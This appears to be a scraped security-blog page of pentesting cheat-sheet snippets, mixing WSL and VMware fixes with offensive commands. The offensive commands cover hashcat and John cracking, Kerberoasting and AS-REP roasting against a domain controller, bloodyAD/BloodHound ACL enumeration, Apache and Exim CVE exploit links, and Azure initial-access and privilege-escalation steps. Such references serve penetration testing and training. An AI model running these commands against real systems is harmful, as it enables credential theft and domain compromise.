Steinz Security

  Use Below commands to Claim unused or deleted storage space from WSL  open cmd as administrator diskpart # Common Path of WSL Vhdx "C:\Users\Bhanu\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu_79rhkp1fndgsc\LocalState\ext4.vhdx" select vdisk file="{PATH_TO_YOUR_WSL_VHDX_FILE}" attach vdisk readonly compact vdisk detach vdisk

  git clone https://github.com/philsmd/7z2hashcat.git cd 7z2hashcat ./7z2hashcat.pl yourfile.7z > hash.txt hashcat -m 11600 -a 0 hash.txt wordlist.txt hashcat -m 11600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force -r /usr/share/hashcat/rules/d3ad0ne.rule

  Kerberoasting #Get TGS Ticket Using GetUserSPNs.py sudo GetUserSPNs.py -request -dc-ip 10.10.10.10 Steins.local/mark Find Pre-Auth Disabled Users GetNPUsers.py DOMAIN/ -usersfile user.txt -outputfile hash.txt -dc-ip 10.10.10.10 #brute force the hashes hashcat -a 3 -m 18200 a.txt /usr/share/wordlists/rockyou.txt --force john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt List ACL's/Attributes with write access to a Specific User bloodyAD --host dc01.domain.local -d domain.local -u User -k get writable --detail bloodyAD --host dc01.domain.local -d domain.local -u User -p 'password' get writable --detail Running Bloodhound on Linux #Match the Time with Doamin controller. sudo apt-get install ntpdate sudo ntpdate <DC IP> #Add required DNS to /etc/hosts if there is no direct DNS #Once you have creds for any user -run blood hound to look for priv esc git clone https://github.com/dirkjanm/BloodHound.py pip install bloodhound-python -u UserName -p "P@...

  Serach for a CVE here first - Trickest/cve Apache CVE-2024-38475 - CVE-2024-38475 #version less than 2.4.51 CVE-2021-44790 - h ttps://www.exploit-db.com/exploits/51193 #Apache HTTP Server 2.4.50 CVE-2021-42013 - https://www.exploit-db.com/exploits/50406 use https://github.com/mrmtwoj/apache-vulnerability-testing for below CVE's CVE-2024-38472: Apache HTTP Server on Windows UNC SSRF CVE-2024-39573: mod_rewrite proxy handler substitution CVE-2024-38477: Crash resulting in Denial of Service in mod_proxy CVE-2024-38476: Exploitable backend application output causing internal redirects CVE-2024-38475: mod_rewrite weakness with filesystem path matching CVE-2024-38474: Weakness with encoded question marks in backreferences CVE-2024-38473: mod_proxy proxy encoding problem CVE-2023-38709: HTTP response splitting EXIM #suppodily should work for versions below Exim 4.96.1 - is not accurate CVE-2023-42115 - https://github.com/AdaHop-Cyber-Security/Pocy/tree/main

  #Try to Restart vmware toools sudo restart-vm-tool #incase of any error sudo apt update sudo apt install -y --reinstall open-vm-tools-desktop sudo restart-vm-tool

Azure Cloud offers a comprehensive ecosystem of tools and services. Among its core components are: Azure Active Directory (AAD) Azure Resource Manager (ARM) Office 365 (O365) Initial Access Try to get a user credential via OSINT/Social engineering or try to comprise a web application hosted on Azure VM. Enumerate the roles attached to the VM and try to escalate your privileges.  Entra ID Directory Role Entra ID directory roles are predefined roles that grant permissions to perform specific tasks within an Azure AD tenant. These roles are essential for managing administrative tasks in Entra ID. Types of Roles: Built-in Directory Roles Global Administrator Application Administrator User Administrator Custom Directory Roles Accessing APIs in Azure Entra ID - Access via Microsoft Graph API Endpoint {HTTP method} https://graph.microsoft.com/{version}/{resource}?{query-parameters} Azure Resource Manager API Endpoint (ARM-specific) {HTTP method} https://management.azure.com/{...